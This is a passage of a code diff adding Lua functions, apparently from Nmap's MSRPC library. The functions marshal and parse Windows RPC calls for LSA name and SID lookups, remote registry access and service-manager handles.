+ -- [out] policy_handle *handle
+ pos, result['policy_handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (lsa.openpolicy2)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (lsa.openpolicy2)"
+ end
+
+ return true, result
+end
+
+---Call the <code>LsarLookupNames2</code> function, to convert the server's name into a sid.
+--
+--@param smbstate The SMB state table
+--@param policy_handle The policy handle returned by <code>lsa_openpolicy2</code>
+--@param names An array of names to look up. To get a SID, only one of the names needs to be valid.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+-- The most useful result is 'domains', which is a list of domains known to the server. And, for each of the
+-- domains, there is a 'name' entry, which is a string, and a 'sid' entry, which is yet another object which
+-- can be passed to functions that understand SIDs.
+function lsa_lookupnames2(smbstate, policy_handle, names)
+ local status, result
+ local arguments
+ local result
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling LsarLookupNames2(%s) [%s]", stringaux.strjoin(", ", names), smbstate['ip'])
+
+
+ -- [in] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(policy_handle)
+
+ -- [in,range(0,1000)] uint32 num_names,
+ .. msrpctypes.marshall_int32(#names)
+
+ -- [in,size_is(num_names)] lsa_String names[],
+ .. msrpctypes.marshall_lsa_String_array(names)
+
+ -- [out,unique] lsa_RefDomainList *domains,
+ -- [in,out] lsa_TransSidArray2 *sids,
+ .. msrpctypes.marshall_lsa_TransSidArray2({nil})
+
+ -- [in] lsa_LookupNamesLevel level,
+ .. msrpctypes.marshall_lsa_LookupNamesLevel("LOOKUP_NAMES_ALL")
+
+ -- [in,out] uint32 *count,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 unknown1,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 unknown2
+ .. msrpctypes.marshall_int32(2)
+
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x3a, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: LsarLookupNames2() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+
+ -- [in] policy_handle *handle,
+ -- [in,range(0,1000)] uint32 num_names,
+ -- [in,size_is(num_names)] lsa_String names[],
+ -- [out,unique] lsa_RefDomainList *domains,
+ pos, result['domains'] = msrpctypes.unmarshall_lsa_RefDomainList_ptr(arguments, pos)
+
+ -- [in,out] lsa_TransSidArray2 *rids,
+ pos, result['rids'] = msrpctypes.unmarshall_lsa_TransSidArray2(arguments, pos)
+
+ -- [in] lsa_LookupNamesLevel level,
+ -- [in,out] uint32 *count,
+ pos, result['count'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in] uint32 unknown1,
+ -- [in] uint32 unknown2
+
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (lsa.lookupnames2)"
+ end
+ if(result['return'] == smb.status_codes['NT_STATUS_NONE_MAPPED']) then
+ return false, "Couldn't find any names the host recognized"
+ end
+
+ if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED']) then
+ return false, smb.get_status_name(result['return']) .. " (lsa.lookupnames2)"
+ end
+
+ return true, result
+end
+
+---Call the <code>LsarLookupSids2</code> function, to convert a list of SIDs to their names
+--
+--@param smbstate The SMB state table
+--@param policy_handle The policy handle returned by <code>lsa_openpolicy2</code>
+--@param sids The SIDs to look up (will probably be the server's SID with "-[rid]" appended
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values.
+-- The element 'domains' is identical to the lookupnames2() element called 'domains'. The element 'names' is a
+-- list of strings, for the usernames (not necessary a 1:1 mapping with the RIDs), and the element 'details' is
+-- a table containing more information about each name, even if the name wasn't found (this one is a 1:1 mapping
+-- with the RIDs).
+function lsa_lookupsids2(smbstate, policy_handle, sids)
+ local status, result
+ local arguments
+ local result
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling LsarLookupSids2(%s) [%s]", stringaux.strjoin(", ", sids), smbstate['ip'])
+
+ -- [in] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(policy_handle)
+
+ -- [in] lsa_SidArray *sids,
+ .. msrpctypes.marshall_lsa_SidArray(sids)
+
+ -- [out,unique] lsa_RefDomainList *domains,
+ -- [in,out] lsa_TransNameArray2 *names,
+ .. msrpctypes.marshall_lsa_TransNameArray2(nil)
+
+ -- [in] uint16 level,
+ .. msrpctypes.marshall_int16(1)
+
+ -- [in,out] uint32 *count,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 unknown1,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] uint32 unknown2
+ .. msrpctypes.marshall_int32(2)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x39, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+
+ -- [in] policy_handle *handle,
+ -- [in] lsa_SidArray *sids,
+ -- [out,unique] lsa_RefDomainList *domains,
+ pos, result['domains'] = msrpctypes.unmarshall_lsa_RefDomainList_ptr(arguments, pos)
+
+ -- [in,out] lsa_TransNameArray2 *names,
+ pos, result['names'] = msrpctypes.unmarshall_lsa_TransNameArray2(arguments, pos)
+
+ -- [in] uint16 level,
+ -- [in,out] uint32 *count,
+ local count
+ pos, result['count'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [in] uint32 unknown1,
+ -- [in] uint32 unknown2
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (lsa.lookupnames2)"
+ end
+ if(result['return'] ~= 0 and result['return'] ~= smb.status_codes['NT_STATUS_SOME_NOT_MAPPED'] and result['return'] ~= smb.status_codes['NT_STATUS_NONE_MAPPED']) then
+ return false, smb.get_status_name(result['return']) .. " (lsa.lookupsids2)"
+ end
+
+ stdnse.debug3("MSRPC: LsarLookupSids2(): Returning")
+ return true, result
+
+end
+
+---Call the <code>close</code> function, which closes a session created with a <code>lsa_openpolicy</code>-style function
+--@param smbstate The SMB state table
+--@param handle The handle to close
+--@return (status, result) If status is false, result is an error message. Otherwise, result is potentially
+-- a table of values, none of which are likely to be used.
+function lsa_close(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling LsaClose() [%s]", smbstate['ip'])
+
+ -- [in,out] policy_handle *handle
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x00, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,out] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (lsa.close)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (lsa.close)"
+ end
+
+ stdnse.debug3("MSRPC: LsaClose() returned successfully")
+ return true, result
+end
+
+---A proxy to a <code>msrpctypes</code> function that converts a SidType to an
+-- English string.
+--
+-- I implemented this as a proxy so scripts don't have to make direct calls to
+-- <code>msrpctypes</code> functions.
+--
+--@param val The value to convert.
+--@return A string that can be displayed to the user.
+function lsa_SidType_tostr(val)
+ return msrpctypes.lsa_SidType_tostr(val)
+end
+
+
+---Call the <code>OpenHKU</code> function, to obtain a handle to the HKEY_USERS hive
+--
+--@param smbstate The SMB state table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'handle', which is required to call other winreg functions.
+function winreg_openhku(smbstate)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenHKU() [%s]", smbstate['ip'])
+
+ -- [in] uint16 *system_name,
+ arguments = msrpctypes.marshall_int16_ptr(0x1337, true)
+
+ -- [in] winreg_AccessMask access_mask,
+ .. msrpctypes.marshall_winreg_AccessMask('MAXIMUM_ALLOWED_ACCESS')
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x04, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenHKU() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] uint16 *system_name,
+ -- [in] winreg_AccessMask access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.openhku)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.openhku)"
+ end
+
+ return true, result
+
+end
+
+---Call the <code>OpenHKLM</code> function, to obtain a handle to the HKEY_LOCAL_MACHINE hive
+--
+--@param smbstate The SMB state table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'handle', which is required to call other winreg functions.
+function winreg_openhklm(smbstate)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenHKLM() [%s]", smbstate['ip'])
+
+ -- [in] uint16 *system_name,
+ arguments = msrpctypes.marshall_int16_ptr(0x1337, true)
+
+ -- [in] winreg_AccessMask access_mask,
+ .. msrpctypes.marshall_winreg_AccessMask('MAXIMUM_ALLOWED_ACCESS')
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x02, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenHKLM() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] uint16 *system_name,
+ -- [in] winreg_AccessMask access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.openhklm)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.openhklm)"
+ end
+
+ return true, result
+end
+
+---Call the <code>OpenHKPD</code> function, to obtain a handle to the hidden HKEY_PERFORMANCE_DATA hive
+--
+--@param smbstate The SMB state table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'handle', which is required to call other winreg functions.
+function winreg_openhkpd(smbstate)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenHKPD() [%s]", smbstate['ip'])
+
+ -- [in] uint16 *system_name,
+ arguments = msrpctypes.marshall_int16_ptr(0x1337, true)
+
+ -- [in] winreg_AccessMask access_mask,
+ .. msrpctypes.marshall_winreg_AccessMask('MAXIMUM_ALLOWED_ACCESS')
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x03, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenHKPD() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] uint16 *system_name,
+ -- [in] winreg_AccessMask access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.openhkpd)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.openhkpd)"
+ end
+
+ return true, result
+end
+
+---Call the <code>OpenHKCU</code> function, to obtain a handle to the HKEY_CURRENT_USER hive
+--
+--@param smbstate The SMB state table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'handle', which is required to call other winreg functions.
+function winreg_openhkcu(smbstate)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenHKCU() [%s]", smbstate['ip'])
+
+ -- [in] uint16 *system_name,
+ arguments = msrpctypes.marshall_int16_ptr(0x1337, true)
+
+ -- [in] winreg_AccessMask access_mask,
+ .. msrpctypes.marshall_winreg_AccessMask('MAXIMUM_ALLOWED_ACCESS')
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x01, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenHKCU() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] uint16 *system_name,
+ -- [in] winreg_AccessMask access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.openhkcu)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.openhkcu)"
+ end
+
+ return true, result
+
+end
+
+
+
+---Calls the Windows registry function <code>EnumKey</code>, which returns a single key
+-- under the given handle, at the index of 'index'.
+--
+--@param smbstate The SMB state table
+--@param handle A handle to hive or key. <code>winreg_openhku</code> provides a usable key, for example.
+--@param index The index of the key to return. Generally you'll start at 0 and increment until
+-- an error is returned.
+--@param name The <code>name</code> buffer. This should be set to the empty string; however, setting to 'nil' can have
+-- interesting effects on Windows 2000 (I experienced crashes).
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'name', which is the name of the current key
+function winreg_enumkey(smbstate, handle, index, name)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling EnumKey(%d) [%s]", index, smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] uint32 enum_index,
+ .. msrpctypes.marshall_int32(index)
+
+ -- [in,out,ref] winreg_StringBuf *name,
+ -- NOTE: if the 'name' parameter here is set to 'nil', the service on a fully patched Windows 2000 system
+ -- may crash.
+ .. msrpctypes.marshall_winreg_StringBuf({name=""}, 520)
+
+ -- [in,out,unique] winreg_StringBuf *keyclass,
+ .. msrpctypes.marshall_winreg_StringBuf_ptr({name=nil})
+
+ -- [in,out,unique] NTTIME *last_changed_time
+ .. msrpctypes.marshall_NTTIME_ptr(0)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x09, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: EnumKey() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ local referent_id
+
+ pos = 1
+
+ -- [in,ref] policy_handle *handle,
+ -- [in] uint32 enum_index,
+ -- [in,out,ref] winreg_StringBuf *name,
+ pos, result['name'] = msrpctypes.unmarshall_winreg_StringBuf(arguments, pos)
+
+ -- [in,out,unique] winreg_StringBuf *keyclass,
+ pos, result['keyclass'] = msrpctypes.unmarshall_winreg_StringBuf_ptr(arguments, pos)
+
+ -- [in,out,unique] NTTIME *last_changed_time
+ pos, result['changed_time'] = msrpctypes.unmarshall_NTTIME_ptr(arguments, pos)
+ result['changed_date'] = datetime.format_timestamp(result['changed_time'])
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.enumkey)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.enumkey)"
+ end
+
+ return true, result
+
+end
+
+--- Calls the function <code>OpenKey</code>, which obtains a handle to a named key.
+--
+--@param smbstate The SMB state table
+--@param handle A handle to hive or key. <code>winreg_openhku</code> provides a usable key, for example.
+--@param keyname The name of the key to open.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one being 'handle', which is a handle to the newly opened key.
+function winreg_openkey(smbstate, handle, keyname)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenKey(%s) [%s]", keyname, smbstate['ip'])
+
+ -- [in,ref] policy_handle *parent_handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] winreg_String keyname,
+ .. msrpctypes.marshall_winreg_String({name=keyname})
+
+ -- [in] uint32 unknown,
+ .. msrpctypes.marshall_int32(0)
+
+ -- [in] winreg_AccessMask access_mask,
+ .. msrpctypes.marshall_winreg_AccessMask('MAXIMUM_ALLOWED_ACCESS')
+
+ -- [out,ref] policy_handle *handle
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0F, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenKey() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *parent_handle,
+ -- [in] winreg_String keyname,
+ -- [in] uint32 unknown,
+ -- [in] winreg_AccessMask access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.openkey)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.openkey)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>QueryInfoKey</code>, which obtains information about an opened key.
+--
+--@param smbstate The SMB state table
+--@param handle A handle to the key that's being queried.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one, at least for me, being 'last_changed_time'/'last_changed_date', which are the date and time that the
+-- key was changed.
+function winreg_queryinfokey(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling QueryInfoKey() [%s]", smbstate['ip'])
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in,out,ref] winreg_String *classname,
+ .. msrpctypes.marshall_winreg_String({name=""}, 2048)
+
+ -- [out,ref] uint32 *num_subkeys,
+ -- [out,ref] uint32 *max_subkeylen,
+ -- [out,ref] uint32 *max_subkeysize,
+ -- [out,ref] uint32 *num_values,
+ -- [out,ref] uint32 *max_valnamelen,
+ -- [out,ref] uint32 *max_valbufsize,
+ -- [out,ref] uint32 *secdescsize,
+ -- [out,ref] NTTIME *last_changed_time
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x10, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: QueryInfoKey() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,ref] policy_handle *handle,
+ -- [in,out,ref] winreg_String *classname,
+ pos, result['classname'] = msrpctypes.unmarshall_winreg_String(arguments, pos)
+
+ -- [out,ref] uint32 *num_subkeys,
+ pos, result['subkeys'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *max_subkeylen,
+ pos, result['subkeylen'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *max_subkeysize,
+ pos, result['subkeysize'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *num_values,
+ pos, result['num_values'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *max_valnamelen,
+ pos, result['max_valnamelen'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *max_valbufsize,
+ pos, result['max_valbufsize'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] uint32 *secdescsize,
+ pos, result['secdescsize'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ -- [out,ref] NTTIME *last_changed_time
+ pos, result['last_changed_time'] = msrpctypes.unmarshall_NTTIME(arguments, pos)
+ result['last_changed_date'] = datetime.format_timestamp(result['last_changed_time'])
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.queryinfokey)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.queryinfokey)"
+ end
+
+ return true, result
+end
+
+
+--- Calls the function <code>QueryValue</code>, which returns the value of the requested key.
+--
+--@param smbstate The SMB state table
+--@param handle A handle to the key that's being queried.
+--@param value The value we're looking for.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, the most
+-- useful one, at least for me, being 'last_changed_time'/'last_changed_date', which are the date and time that the
+-- key was changed.
+function winreg_queryvalue(smbstate, handle, value)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling QueryValue(%s) [%s]", value, smbstate['ip'])
+
+
+ -- [in,ref] policy_handle *handle,
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- [in] winreg_String value_name,
+ .. msrpctypes.marshall_winreg_String({name=value})
+
+ -- [in,out] winreg_Type *type,
+ .. msrpctypes.marshall_winreg_Type_ptr("REG_NONE")
+
+ -- [in,out,size_is(*size),length_is(*length)] uint8 *data,
+ .. msrpctypes.marshall_int8_array_ptr("", 1000000)
+
+ -- [in,out] uint32 *size,
+ .. msrpctypes.marshall_int32_ptr(1000000)
+
+ -- [in,out] uint32 *length
+ .. msrpctypes.marshall_int32_ptr(0)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x11, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: QueryValue() returned successfully")
+ local length, referent_id
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+
+ -- [in,ref] policy_handle *handle,
+ -- [in] winreg_String value_name,
+ -- [in,out] winreg_Type *type,
+ pos, result['type'] = msrpctypes.unmarshall_winreg_Type_ptr(arguments, pos)
+
+ -- [in,out,size_is(*size),length_is(*length)] uint8 *data,
+ pos, result['data'] = msrpctypes.unmarshall_int8_array_ptr(arguments, pos)
+
+ -- Format the type properly and put it in "value"
+ if(result['data'] ~= nil) then
+ local _
+ if(result['type'] == "REG_DWORD") then
+ result['value'] = string.unpack("<I4", result['data'])
+ elseif(result['type'] == "REG_SZ" or result['type'] == "REG_MULTI_SZ" or result['type'] == "REG_EXPAND_SZ") then
+ _, result['value'] = msrpctypes.unicode_to_string(result['data'], 1, #result['data'] / 2)
+ elseif(result['type'] == "REG_BINARY") then
+ result['value'] = result['data']
+ elseif(result['type'] == "REG_NONE") then
+ result['value'] = ""
+ else
+ stdnse.debug1("MSRPC ERROR: Unknown type: %s", result['type'])
+ result['value'] = result['type']
+ end
+ else
+ result['value'] = nil
+ end
+
+ -- [in,out] uint32 *size,
+ pos, result['size'] = msrpctypes.unmarshall_int32_ptr(arguments, pos)
+
+ -- [in,out] uint32 *length
+ pos, result['length'] = msrpctypes.unmarshall_int32_ptr(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.queryvalue)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.queryvalue)"
+ end
+
+ return true, result
+end
+
+
+
+--- Calls the function <code>CloseKey</code>, which closes an opened handle. Strictly speaking, this doesn't have to be called (Windows
+-- will close the key for you), but it's good manners to clean up after yourself.
+--
+--@param smbstate The SMB state table
+--@param handle the handle to be closed.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values, none of
+-- which are especially useful.
+function winreg_closekey(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling CloseKey() [%s]", smbstate['ip'])
+
+ -- [in,out,ref] policy_handle *handle
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x05, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: CloseKey() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (winreg.closekey)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (winreg.closekey)"
+ end
+
+ return true, result
+end
+
+--- Calls the function <code>OpenSCManagerA</code>, which gets a handle to the service manager. Should be closed with
+-- <code>CloseServiceHandle</code> when finished.
+--
+--@param smbstate The SMB state table
+--@param machinename The name or IP of the machine.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_openscmanagera(smbstate, machinename)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling OpenSCManagerA() [%s]", smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *MachineName,
+ arguments = msrpctypes.marshall_ascii_ptr("\\\\" .. machinename)
+
+ -- [in] [string,charset(UTF16)] uint16 *DatabaseName,
+ .. msrpctypes.marshall_ascii_ptr(nil)
+
+ -- [in] uint32 access_mask,
+ -- .. msrpctypes.marshall_int32(0x000f003f)
+ .. msrpctypes.marshall_int32(0x00000002)
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x1b, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenSCManagerA() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *MachineName,
+ -- [in] [string,charset(UTF16)] uint16 *DatabaseName,
+ -- [in] uint32 access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.openscmanagera)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.openscmanagera)"
+ end
+
+ return true, result
+end
+
+
+--- Calls the function <code>OpenSCManagerW</code>, which gets a handle to the service manager. Should be closed with
+-- <code>CloseServiceHandle</code> when finished.
+--
+--@param smbstate The SMB state table
+--@param machinename The name or IP of the machine.
+--@param access_mask The access_mask to open the service with.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_openscmanagerw(smbstate, machinename, access_mask)
+ local status, result
+ local arguments
+ local pos, align
+
+ -- if(1 == 1) then
+ -- return svcctl_openscmanagera(smbstate, machinename)
+ -- end
+
+ stdnse.debug2("MSRPC: Calling OpenSCManagerW() [%s]", smbstate['ip'])
+
+ -- [in] [string,charset(UTF16)] uint16 *MachineName,
+ arguments = msrpctypes.marshall_unicode_ptr("\\\\" .. machinename, true)
+
+ -- [in] [string,charset(UTF16)] uint16 *DatabaseName,
+ .. msrpctypes.marshall_unicode_ptr(nil, true)
+
+ -- [in] uint32 access_mask,
+ -- .. msrpctypes.marshall_int32(0x000f003f)
+ .. msrpctypes.marshall_int32(access_mask)
+
+ -- [out,ref] policy_handle *handle
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x0f, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenSCManagerW() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in] [string,charset(UTF16)] uint16 *MachineName,
+ -- [in] [string,charset(UTF16)] uint16 *DatabaseName,
+ -- [in] uint32 access_mask,
+ -- [out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.openscmanagerw)"
+ end
+ if(result['return'] ~= 0) then
+ return false, smb.get_status_name(result['return']) .. " (svcctl.openscmanagerw)"
+ end
+
+ return true, result
+end
+
+
+--- Calls the function <code>CloseServiceHandle</code>, which releases a handle.
+--
+--@param smbstate The SMB state table
+--@param handle The handle to be closed.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table of values
+-- representing the "out" parameters.
+function svcctl_closeservicehandle(smbstate, handle)
+ local status, result
+ local arguments
+ local pos, align
+
+ stdnse.debug2("MSRPC: Calling CloseServiceHandle() [%s]", smbstate['ip'])
+
+ -- [in,out,ref] policy_handle *handle
+ arguments = msrpctypes.marshall_policy_handle(handle)
+
+
+ -- Do the call
+ status, result = call_function(smbstate, 0x00, arguments)
+ if(status ~= true) then
+ return false, result
+ end
+
+ stdnse.debug3("MSRPC: OpenSCManagerA() returned successfully")
+
+ -- Make arguments easier to use
+ arguments = result['arguments']
+ pos = 1
+
+ -- [in,out,ref] policy_handle *handle
+ pos, result['handle'] = msrpctypes.unmarshall_policy_handle(arguments, pos)
+
+ pos, result['return'] = msrpctypes.unmarshall_int32(arguments, pos)
+ if(result['return'] == nil) then
+ return false, "Read off the end of the packet (svcctl.closeservicehandle)"
+ end
